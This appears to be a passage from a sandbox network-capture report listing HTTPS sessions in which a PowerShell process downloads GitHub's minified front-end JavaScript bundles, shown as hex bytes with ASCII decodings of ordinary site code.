2024-09-30 13:50:29 UTC	1378	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 3d 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 75 69 5f 70 61 63 6b 61 67 65 73 5f 75 70 64 61 74 61 62 6c 65 2d 63 6f 6e 74 65 6e 74 5f 75 70 64 61 74 61 62 6c 65 2d 63 6f 6e 74 65 6e 74 5f 74 73 22 5d 2c 7b 38 39 36 38 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 6c 65 74 20 72 2c 6f 3b 6e 2e 64 28 74 2c 7b 47 75 3a 28 29 3d 3e 63 2c 63 38 3a 28 29 3d 3e 66 2c 67 35 3a 28 29 3d 3e 70 7d 29 3b 76 61 72 20 69 3d 6e 28 39 37 31 35 36 29 3b 6c 65 74 20 61 3d 5b 5d 2c 6c 3d 30 3b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 72 65 74 75 72 6e 20 72 7d 66 75 6e 63 74 69 6f 6e 20 73 28 29 7b 74 72 79 7b Data Ascii: "use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["ui_packages_updatable-content_updatable-content_ts"],{8968:(e,t,n)=>{let r,o;n.d(t,{Gu:()=>c,c8:()=>f,g5:()=>p});var i=n(97156);let a=[],l=0;function c(){return r}function s(){try{
2024-09-30 13:50:29 UTC	1378	IN	Data Raw: 29 3d 3e 69 2c 6c 4b 3a 28 29 3d 3e 64 2c 6d 24 3a 28 29 3d 3e 61 7d 29 3b 76 61 72 20 72 3d 6e 28 34 31 36 39 35 29 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 65 2c 74 2c 6e 29 7b 72 65 74 75 72 6e 20 65 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 6e 65 77 20 43 75 73 74 6f 6d 45 76 65 6e 74 28 74 2c 7b 62 75 62 62 6c 65 73 3a 21 30 2c 63 61 6e 63 65 6c 61 62 6c 65 3a 6e 7d 29 29 7d 66 75 6e 63 74 69 6f 6e 20 69 28 65 2c 74 29 7b 74 26 26 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 21 28 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 46 6f 72 6d 45 6c 65 6d 65 6e 74 29 29 74 68 72 6f 77 20 54 79 70 65 45 72 72 6f 72 28 22 54 68 65 20 73 70 65 63 69 66 69 65 64 20 65 6c 65 6d 65 6e 74 20 69 73 20 6e 6f 74 20 6f 66 20 74 79 70 65 20 48 54 4d 4c 46 Data Ascii: )=>i,lK:()=>d,m$:()=>a});var r=n(41695);function o(e,t,n){return e.dispatchEvent(new CustomEvent(t,{bubbles:!0,cancelable:n}))}function i(e,t){t&&(function(e,t){if(!(e instanceof HTMLFormElement))throw TypeError("The specified element is not of type HTMLF
2024-09-30 13:50:29 UTC	1378	IN	Data Raw: 6f 53 74 72 69 6e 67 28 29 7d 66 75 6e 63 74 69 6f 6e 20 64 28 65 29 7b 72 65 74 75 72 6e 20 73 28 6e 65 77 20 46 6f 72 6d 44 61 74 61 28 65 29 29 2e 74 6f 53 74 72 69 6e 67 28 29 7d 7d 2c 34 31 36 39 35 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 66 75 6e 63 74 69 6f 6e 20 72 28 65 29 7b 6c 65 74 20 74 3d 65 2e 63 6c 6f 73 65 73 74 28 22 66 6f 72 6d 22 29 3b 69 66 28 21 28 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 46 6f 72 6d 45 6c 65 6d 65 6e 74 29 29 72 65 74 75 72 6e 3b 6c 65 74 20 6e 3d 6f 28 74 29 3b 69 66 28 65 2e 6e 61 6d 65 29 7b 6c 65 74 20 72 3d 65 2e 6d 61 74 63 68 65 73 28 22 69 6e 70 75 74 5b 74 79 70 65 3d 73 75 62 6d 69 74 5d 22 29 3f 22 53 75 62 6d 69 74 22 3a 22 22 2c 6f 3d 65 2e 76 61 6c 75 65 7c 7c 72 3b 6e 7c 7c 28 28 6e 3d 64 6f 63 75 Data Ascii: oString()}function d(e){return s(new FormData(e)).toString()}},41695:(e,t,n)=>{function r(e){let t=e.closest("form");if(!(t instanceof HTMLFormElement))return;let n=o(t);if(e.name){let r=e.matches("input[type=submit]")?"Submit":"",o=e.value\|\|r;n\|\|((n=docu
2024-09-30 13:50:29 UTC	1378	IN	Data Raw: 69 6e 70 75 74 2c 20 74 65 78 74 61 72 65 61 22 29 29 69 66 28 28 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 49 6e 70 75 74 45 6c 65 6d 65 6e 74 7c 7c 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 54 65 78 74 41 72 65 61 45 6c 65 6d 65 6e 74 29 26 26 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 49 6e 70 75 74 45 6c 65 6d 65 6e 74 26 26 28 22 63 68 65 63 6b 62 6f 78 22 3d 3d 3d 65 2e 74 79 70 65 7c 7c 22 72 61 64 69 6f 22 3d 3d 3d 65 2e 74 79 70 65 29 29 7b 69 66 28 65 2e 63 68 65 63 6b 65 64 21 3d 3d 65 2e 64 65 66 61 75 6c 74 43 68 65 63 6b 65 64 29 72 65 74 75 72 6e 21 30 7d 65 6c 73 65 20 69 66 28 65 2e 76 61 6c 75 65 21 3d 3d 65 2e 64 65 66 61 75 6c 74 56 61 6c 75 65 29 72 65 74 75 72 6e Data Ascii: input, textarea"))if((t instanceof HTMLInputElement\|\|t instanceof HTMLTextAreaElement)&&function(e){if(e instanceof HTMLInputElement&&("checkbox"===e.type\|\|"radio"===e.type)){if(e.checked!==e.defaultChecked)return!0}else if(e.value!==e.defaultValue)return
2024-09-30 13:50:29 UTC	1378	IN	Data Raw: 29 7d 66 75 6e 63 74 69 6f 6e 20 70 28 65 2c 74 3d 7b 7d 29 7b 6c 65 74 20 6e 3d 64 6f 63 75 6d 65 6e 74 2e 68 65 61 64 3f 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 27 6d 65 74 61 5b 6e 61 6d 65 3d 22 63 75 72 72 65 6e 74 2d 63 61 74 61 6c 6f 67 2d 73 65 72 76 69 63 65 22 5d 27 29 3f 2e 63 6f 6e 74 65 6e 74 2c 6f 3d 6e 3f 7b 73 65 72 76 69 63 65 3a 6e 7d 3a 7b 7d 3b 66 6f 72 28 6c 65 74 5b 65 2c 6e 5d 6f 66 20 4f 62 6a 65 63 74 2e 65 6e 74 72 69 65 73 28 74 29 29 6e 75 6c 6c 21 3d 6e 26 26 28 6f 5b 65 5d 3d 60 24 7b 6e 7d 60 29 3b 72 26 26 28 64 28 6f 29 2c 72 2e 73 65 6e 64 45 76 65 6e 74 28 65 7c 7c 22 75 6e 6b 6e 6f 77 6e 22 2c 64 28 6f 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 6d 28 65 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 66 72 6f 6d 45 6e Data Ascii: )}function p(e,t={}){let n=document.head?.querySelector('meta[name="current-catalog-service"]')?.content,o=n?{service:n}:{};for(let[e,n]of Object.entries(t))null!=n&&(o[e]=`${n}`);r&&(d(o),r.sendEvent(e\|\|"unknown",d(o)))}function m(e){return Object.fromEn
2024-09-30 13:50:29 UTC	1378	IN	Data Raw: 29 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 69 28 65 29 7b 6c 65 74 20 74 3d 65 2e 63 6c 6f 73 65 73 74 28 22 5b 64 61 74 61 2d 6d 6f 72 70 68 65 75 73 2d 65 6e 61 62 6c 65 64 5d 22 29 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 74 26 26 22 66 61 6c 73 65 22 21 3d 3d 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 6d 6f 72 70 68 65 75 73 2d 65 6e 61 62 6c 65 64 22 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 2c 6e 29 7b 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 74 29 7b 6c 65 74 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 74 65 6d 70 6c 61 74 65 22 29 3b 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 74 2c 74 3d 65 2e 63 6f 6e 74 65 6e 74 7d 69 66 28 21 69 28 65 29 29 7b 65 2e 72 65 70 6c 61 63 65 57 Data Ascii: )}}}function i(e){let t=e.closest("[data-morpheus-enabled]");return null!=t&&"false"!==t.getAttribute("data-morpheus-enabled")}function a(e,t,n){if("string"==typeof t){let e=document.createElement("template");e.innerHTML=t,t=e.content}if(!i(e)){e.replaceW
2024-09-30 13:50:29 UTC	1378	IN	Data Raw: 3d 21 31 7d 29 7b 74 72 79 7b 69 66 28 28 30 2c 72 2e 47 37 29 28 22 42 59 50 41 53 53 5f 54 52 55 53 54 45 44 5f 54 59 50 45 53 5f 50 4f 4c 49 43 59 5f 52 55 4c 45 53 22 29 29 72 65 74 75 72 6e 20 6e 3b 28 30 2c 6f 2e 69 29 28 7b 69 6e 63 72 65 6d 65 6e 74 4b 65 79 3a 22 54 52 55 53 54 45 44 5f 54 59 50 45 53 5f 50 4f 4c 49 43 59 5f 43 41 4c 4c 45 44 22 2c 74 72 75 73 74 65 64 54 79 70 65 73 50 6f 6c 69 63 79 4e 61 6d 65 3a 74 7d 2c 21 31 2c 2e 31 29 3b 6c 65 74 20 69 3d 65 28 29 3b 72 65 74 75 72 6e 20 73 26 26 6e 65 77 20 50 72 6f 6d 69 73 65 28 65 3d 3e 7b 6c 65 74 20 6e 3d 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6e 6f 77 28 29 2c 72 3d 6c 28 29 2e 73 61 6e 69 74 69 7a 65 28 69 2c 7b 46 4f 52 42 49 44 5f 41 54 54 52 3a 5b 5d 7d 29 2c Data Ascii: =!1}){try{if((0,r.G7)("BYPASS_TRUSTED_TYPES_POLICY_RULES"))return n;(0,o.i)({incrementKey:"TRUSTED_TYPES_POLICY_CALLED",trustedTypesPolicyName:t},!1,.1);let i=e();return s&&new Promise(e=>{let n=window.performance.now(),r=l().sanitize(i,{FORBID_ATTR:[]}),
2024-09-30 13:50:29 UTC	1378	IN	Data Raw: 74 65 64 2d 74 79 70 65 73 2d 66 6f 72 22 21 3d 3d 65 2e 76 69 6f 6c 61 74 65 64 44 69 72 65 63 74 69 76 65 7c 7c 64 7c 7c 28 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 60 48 69 20 66 65 6c 6c 6f 77 20 48 75 62 62 65 72 21 0a 20 20 20 20 59 6f 75 27 72 65 20 70 72 6f 62 61 62 6c 79 20 73 65 65 69 6e 67 20 61 20 52 65 70 6f 72 74 20 4f 6e 6c 79 20 54 72 75 73 74 65 64 20 54 79 70 65 73 20 65 72 72 6f 72 20 6e 65 61 72 20 74 68 69 73 20 6d 65 73 73 61 67 65 2e 20 54 68 69 73 20 69 73 20 69 6e 74 65 6e 64 65 64 20 62 65 68 61 76 69 6f 75 72 2c 20 73 74 61 66 66 2d 6f 6e 6c 79 2c 0a 20 20 20 20 64 6f 65 73 20 6e 6f 74 20 69 6d 70 61 63 74 20 61 70 70 6c 69 63 61 74 69 6f 6e 20 63 6f 6e 74 72 6f 6c 20 66 6c 6f 77 2c 20 61 6e 64 20 69 73 20 75 73 65 64 20 73 6f 6c Data Ascii: ted-types-for"!==e.violatedDirective\|\|d\|\|(console.warn(`Hi fellow Hubber! You're probably seeing a Report Only Trusted Types error near this message. This is intended behaviour, staff-only, does not impact application control flow, and is used sol
2024-09-30 13:50:29 UTC	1378	IN	Data Raw: 42 4c 45 5f 43 4f 4e 54 45 4e 54 5f 58 48 52 5f 52 45 51 55 45 53 54 5f 56 49 53 49 42 4c 45 22 2c 72 65 71 75 65 73 74 55 72 6c 3a 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 2c 72 65 66 65 72 72 65 64 52 65 71 75 65 73 74 55 72 6c 3a 6f 7d 29 7d 63 61 74 63 68 28 65 29 7b 7d 74 72 79 7b 6c 65 74 20 74 3d 61 77 61 69 74 20 66 65 74 63 68 28 6f 2c 7b 73 69 67 6e 61 6c 3a 69 2e 73 69 67 6e 61 6c 2c 68 65 61 64 65 72 73 3a 61 7d 29 3b 69 66 28 21 74 2e 6f 6b 29 72 65 74 75 72 6e 3b 6c 65 74 20 6c 3d 61 77 61 69 74 20 74 2e 74 65 78 74 28 29 3b 69 66 28 28 30 2c 72 2e 69 74 29 28 65 2c 6e 29 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 46 61 69 6c 65 64 20 74 6f 20 75 70 64 61 74 65 20 63 6f 6e 74 65 6e 74 20 77 69 74 68 20 69 6e 74 65 72 Data Ascii: BLE_CONTENT_XHR_REQUEST_VISIBLE",requestUrl:window.location.href,referredRequestUrl:o})}catch(e){}try{let t=await fetch(o,{signal:i.signal,headers:a});if(!t.ok)return;let l=await t.text();if((0,r.it)(e,n)){console.warn("Failed to update content with inter
2024-09-30 13:50:29 UTC	73	IN	Data Raw: 52 4c 3d 75 69 5f 70 61 63 6b 61 67 65 73 5f 75 70 64 61 74 61 62 6c 65 2d 63 6f 6e 74 65 6e 74 5f 75 70 64 61 74 61 62 6c 65 2d 63 6f 6e 74 65 6e 74 5f 74 73 2d 65 65 66 64 64 62 36 30 66 64 36 38 2e 6a 73 2e 6d 61 70 Data Ascii: RL=ui_packages_updatable-content_updatable-content_ts-eefddb60fd68.js.map

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.7	49756	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:29 UTC	450	OUT	GET /assets/app_assets_modules_github_behaviors_task-list_ts-app_assets_modules_github_sso_ts-ui_packages-900dde-ab87c1d6c5c8.js HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:29 UTC	695	IN	HTTP/1.1 200 OK Connection: close Content-Length: 13428 Cache-Control: public, max-age=31536000, immutable Content-Type: application/javascript Last-Modified: Fri, 06 Sep 2024 21:21:16 GMT ETag: "0x8DCCEB9D7EDF3B8" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 1713183 Date: Mon, 30 Sep 2024 13:50:29 GMT X-Served-By: cache-iad-kcgs7200084-IAD, cache-ewr-kewr1740071-EWR X-Cache: HIT, HIT X-Cache-Hits: 29, 0 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 870703c7f921348ef5b3905bf8eda27c722de5d6
2024-09-30 13:50:29 UTC	1378	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 3d 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 61 70 70 5f 61 73 73 65 74 73 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 62 65 68 61 76 69 6f 72 73 5f 74 61 73 6b 2d 6c 69 73 74 5f 74 73 2d 61 70 70 5f 61 73 73 65 74 73 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 73 73 6f 5f 74 73 2d 75 69 5f 70 61 63 6b 61 67 65 73 2d 39 30 30 64 64 65 22 5d 2c 7b 32 32 34 37 34 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 6e 2e 64 28 74 2c 7b 56 48 3a 28 29 3d 3e 41 2c 64 66 3a 28 29 3d 3e 75 2c 6d 54 3a 28 29 3d 3e 64 7d 29 3b 76 61 72 20 73 2c 6c 3d 6e 28 37 39 30 32 34 29 2c 72 3d 6e 28 39 37 37 Data Ascii: "use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["app_assets_modules_github_behaviors_task-list_ts-app_assets_modules_github_sso_ts-ui_packages-900dde"],{22474:(e,t,n)=>{n.d(t,{VH:()=>A,df:()=>u,mT:()=>d});var s,l=n(79024),r=n(977
2024-09-30 13:50:29 UTC	1378	IN	Data Raw: 62 75 74 65 28 22 74 79 70 65 22 2c 22 68 69 64 64 65 6e 22 29 2c 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 6e 61 6d 65 22 2c 22 74 61 73 6b 5f 6c 69 73 74 5f 6b 65 79 22 29 2c 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 76 61 6c 75 65 22 2c 65 29 2c 73 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 74 29 7d 65 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 22 69 73 2d 63 6f 6d 6d 65 6e 74 2d 73 74 61 6c 65 22 29 2c 28 30 2c 63 2e 6b 5f 29 28 73 29 7d 28 30 2c 69 2e 6c 42 29 28 22 2e 6a 73 2d 74 61 73 6b 2d 6c 69 73 74 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 6a 73 2d 74 61 73 6b 2d 6c 69 73 74 2d 66 69 65 6c 64 22 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6c 65 74 20 74 3d 65 2e 63 6c 6f 73 65 73 74 28 22 2e 6a 73 2d 74 61 73 6b 2d 6c 69 73 74 2d 63 6f Data Ascii: bute("type","hidden"),t.setAttribute("name","task_list_key"),t.setAttribute("value",e),s.appendChild(t)}e.classList.remove("is-comment-stale"),(0,c.k_)(s)}(0,i.lB)(".js-task-list-container .js-task-list-field",function(e){let t=e.closest(".js-task-list-co
2024-09-30 13:50:29 UTC	1378	IN	Data Raw: 6e 61 6d 65 64 49 74 65 6d 28 22 74 61 73 6b 5f 6c 69 73 74 5f 74 72 61 63 6b 22 29 3b 6c 20 69 6e 73 74 61 6e 63 65 6f 66 20 45 6c 65 6d 65 6e 74 26 26 6c 2e 72 65 6d 6f 76 65 28 29 3b 6c 65 74 20 72 3d 65 2e 65 6c 65 6d 65 6e 74 73 2e 6e 61 6d 65 64 49 74 65 6d 28 22 74 61 73 6b 5f 6c 69 73 74 5f 6f 70 65 72 61 74 69 6f 6e 22 29 3b 72 20 69 6e 73 74 61 6e 63 65 6f 66 20 45 6c 65 6d 65 6e 74 26 26 72 2e 72 65 6d 6f 76 65 28 29 3b 74 72 79 7b 6e 3d 61 77 61 69 74 20 74 2e 6a 73 6f 6e 28 29 7d 63 61 74 63 68 28 74 29 7b 6c 65 74 20 65 3b 74 72 79 7b 65 3d 4a 53 4f 4e 2e 70 61 72 73 65 28 74 2e 72 65 73 70 6f 6e 73 65 2e 74 65 78 74 29 7d 63 61 74 63 68 28 65 29 7b 7d 69 66 28 65 26 26 65 2e 73 74 61 6c 65 29 7b 6c 65 74 20 65 3d 73 2e 71 75 65 72 79 53 65 Data Ascii: namedItem("task_list_track");l instanceof Element&&l.remove();let r=e.elements.namedItem("task_list_operation");r instanceof Element&&r.remove();try{n=await t.json()}catch(t){let e;try{e=JSON.parse(t.response.text)}catch(e){}if(e&&e.stale){let e=s.querySe
2024-09-30 13:50:29 UTC	1378	IN	Data Raw: 69 6e 67 28 30 2c 6e 29 2b 74 7d 72 65 74 75 72 6e 7b 74 65 78 74 3a 6f 2c 61 75 74 6f 63 6f 6d 70 6c 65 74 65 50 72 65 66 69 78 3a 74 2c 73 65 6c 65 63 74 69 6f 6e 3a 5b 6e 2b 6c 2c 6e 2b 6c 5d 2c 63 6f 6d 6d 61 6e 64 49 64 3a 22 69 6e 73 65 72 74 54 65 78 74 22 2c 77 72 69 74 65 53 65 6c 65 63 74 69 6f 6e 3a 72 7d 7d 7b 6c 65 74 20 74 3d 6e 2d 60 0a 24 7b 6f 7d 60 2e 6c 65 6e 67 74 68 3b 72 65 74 75 72 6e 7b 61 75 74 6f 63 6f 6d 70 6c 65 74 65 50 72 65 66 69 78 3a 22 22 2c 74 65 78 74 3a 65 2e 73 75 62 73 74 72 69 6e 67 28 30 2c 74 29 2b 65 2e 73 75 62 73 74 72 69 6e 67 28 6e 29 2c 73 65 6c 65 63 74 69 6f 6e 3a 5b 74 2c 74 5d 2c 63 6f 6d 6d 61 6e 64 49 64 3a 22 64 65 6c 65 74 65 22 2c 77 72 69 74 65 53 65 6c 65 63 74 69 6f 6e 3a 5b 6e 75 6c 6c 2c 6e 75 Data Ascii: ing(0,n)+t}return{text:o,autocompletePrefix:t,selection:[n+l,n+l],commandId:"insertText",writeSelection:r}}{let t=n-`${o}`.length;return{autocompletePrefix:"",text:e.substring(0,t)+e.substring(n),selection:[t,t],commandId:"delete",writeSelection:[null,nu
2024-09-30 13:50:29 UTC	1378	IN	Data Raw: 74 69 6f 6e 3a 5b 6e 75 6c 6c 2c 6e 75 6c 6c 5d 7d 7d 28 74 2e 76 61 6c 75 65 2c 5b 74 2e 73 65 6c 65 63 74 69 6f 6e 53 74 61 72 74 2c 74 2e 73 65 6c 65 63 74 69 6f 6e 45 6e 64 5d 29 3b 76 6f 69 64 20 30 21 3d 3d 6e 26 26 28 79 28 74 2c 6e 29 2c 65 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 28 30 2c 72 2e 68 29 28 74 2c 22 63 68 61 6e 67 65 22 29 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 77 28 29 7b 70 3d 21 30 7d 66 75 6e 63 74 69 6f 6e 20 76 28 29 7b 70 3d 21 31 7d 66 75 6e 63 74 69 6f 6e 20 45 28 65 29 7b 69 66 28 70 29 72 65 74 75 72 6e 3b 69 66 28 22 45 73 63 61 70 65 22 3d 3d 3d 65 2e 6b 65 79 29 7b 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6c 65 74 20 74 3d 65 2e 74 61 72 67 65 74 3b 22 62 61 63 6b 77 61 72 64 22 3d 3d 3d 74 2e 73 65 6c 65 63 74 Data Ascii: tion:[null,null]}}(t.value,[t.selectionStart,t.selectionEnd]);void 0!==n&&(y(t,n),e.preventDefault(),(0,r.h)(t,"change"))}}function w(){p=!0}function v(){p=!1}function E(e){if(p)return;if("Escape"===e.key){!function(e){let t=e.target;"backward"===t.select
2024-09-30 13:50:29 UTC	1378	IN	Data Raw: 63 74 69 6f 6e 20 41 28 65 29 7b 6c 65 74 20 74 3d 65 2e 63 6c 6f 73 65 73 74 28 22 74 61 73 6b 2d 6c 69 73 74 73 22 29 3b 69 66 28 21 74 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 70 61 72 65 6e 74 20 6e 6f 74 20 66 6f 75 6e 64 22 29 3b 72 65 74 75 72 6e 20 41 72 72 61 79 2e 66 72 6f 6d 28 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 6f 6c 2c 20 75 6c 22 29 29 2e 66 69 6c 74 65 72 28 65 3d 3e 21 65 2e 63 6c 6f 73 65 73 74 28 22 74 72 61 63 6b 69 6e 67 2d 62 6c 6f 63 6b 22 29 29 2e 69 6e 64 65 78 4f 66 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 54 28 65 29 7b 69 66 28 30 3d 3d 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 74 72 61 63 6b 65 64 2d 69 73 73 75 65 73 2d 70 72 6f 67 72 65 73 73 22 29 2e 6c 65 6e Data Ascii: ction A(e){let t=e.closest("task-lists");if(!t)throw Error("parent not found");return Array.from(t.querySelectorAll("ol, ul")).filter(e=>!e.closest("tracking-block")).indexOf(e)}function T(e){if(0===document.querySelectorAll("tracked-issues-progress").len
2024-09-30 13:50:29 UTC	1378	IN	Data Raw: 76 65 22 2c 65 2c 7b 6f 6e 63 65 3a 21 30 7d 29 7d 29 2c 21 6e 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 73 73 6f 20 70 72 6f 6d 70 74 20 63 61 6e 63 65 6c 65 64 22 29 7d 61 73 79 6e 63 20 66 75 6e 63 74 69 6f 6e 20 69 28 29 7b 6c 65 74 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 6c 69 6e 6b 5b 72 65 6c 3d 73 73 6f 2d 73 65 73 73 69 6f 6e 5d 22 29 2c 74 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 6d 65 74 61 5b 6e 61 6d 65 3d 73 73 6f 2d 65 78 70 69 72 65 73 2d 61 72 6f 75 6e 64 5d 22 29 3b 69 66 28 21 28 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 4c 69 6e 6b 45 6c 65 6d 65 6e 74 29 7c 7c 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 28 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 Data Ascii: ve",e,{once:!0})}),!n)throw Error("sso prompt canceled")}async function i(){let e=document.querySelector("link[rel=sso-session]"),t=document.querySelector("meta[name=sso-expires-around]");if(!(e instanceof HTMLLinkElement)\|\|!function(e){if(!(e instanceof
2024-09-30 13:50:29 UTC	1378	IN	Data Raw: 62 65 6c 6c 65 64 62 79 22 2c 65 2e 6c 61 62 65 6c 6c 65 64 42 79 29 2c 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 61 70 70 65 6e 64 28 74 29 3b 74 72 79 7b 6c 65 74 20 74 3d 61 77 61 69 74 20 65 2e 63 6f 6e 74 65 6e 74 3b 72 2e 72 65 6d 6f 76 65 28 29 2c 6c 2e 70 72 65 70 65 6e 64 28 74 29 7d 63 61 74 63 68 28 6e 29 7b 72 2e 72 65 6d 6f 76 65 28 29 3b 6c 65 74 20 74 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 70 61 6e 22 29 3b 74 2e 74 65 78 74 43 6f 6e 74 65 6e 74 3d 65 2e 65 72 72 6f 72 4d 65 73 73 61 67 65 7c 7c 22 43 6f 75 6c 64 6e 27 74 20 6c 6f 61 64 20 74 68 65 20 63 6f 6e 74 65 6e 74 22 2c 74 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 6d 79 2d 36 22 29 2c 74 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 6d Data Ascii: belledby",e.labelledBy),document.body.append(t);try{let t=await e.content;r.remove(),l.prepend(t)}catch(n){r.remove();let t=document.createElement("span");t.textContent=e.errorMessage\|\|"Couldn't load the content",t.classList.add("my-6"),t.classList.add("m
2024-09-30 13:50:29 UTC	1378	IN	Data Raw: 65 70 6f 72 74 69 6e 67 3a 21 30 7d 29 7d 29 3b 61 73 79 6e 63 20 66 75 6e 63 74 69 6f 6e 20 63 28 65 2c 74 2c 6e 29 7b 6c 65 74 20 6c 3d 6e 65 77 20 52 65 71 75 65 73 74 28 74 2c 6e 29 3b 6c 2e 68 65 61 64 65 72 73 2e 61 70 70 65 6e 64 28 22 58 2d 52 65 71 75 65 73 74 65 64 2d 57 69 74 68 22 2c 22 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 22 29 3b 6c 65 74 20 72 3d 61 77 61 69 74 20 73 65 6c 66 2e 66 65 74 63 68 28 6c 29 3b 69 66 28 72 2e 73 74 61 74 75 73 3c 32 30 30 7c 7c 72 2e 73 74 61 74 75 73 3e 3d 33 30 30 29 74 68 72 6f 77 20 45 72 72 6f 72 28 60 48 54 54 50 20 24 7b 72 2e 73 74 61 74 75 73 7d 24 7b 72 2e 73 74 61 74 75 73 54 65 78 74 7c 7c 22 22 7d 60 29 3b 6c 65 74 20 6f 3d 61 2e 63 72 65 61 74 65 48 54 4d 4c 28 61 77 61 69 74 20 72 2e 74 65 78 Data Ascii: eporting:!0})});async function c(e,t,n){let l=new Request(t,n);l.headers.append("X-Requested-With","XMLHttpRequest");let r=await self.fetch(l);if(r.status<200\|\|r.status>=300)throw Error(`HTTP ${r.status}${r.statusText\|\|""}`);let o=a.createHTML(await r.tex
